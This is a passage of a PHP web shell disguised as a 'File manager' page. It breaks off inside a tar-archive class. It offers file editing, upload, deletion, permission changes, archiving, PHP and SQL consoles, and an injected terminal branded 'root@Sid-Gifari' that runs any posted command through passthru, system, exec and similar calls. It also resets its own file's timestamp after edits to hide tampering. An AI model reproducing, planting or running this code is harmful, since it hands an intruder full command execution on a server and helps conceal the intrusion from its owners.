ZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
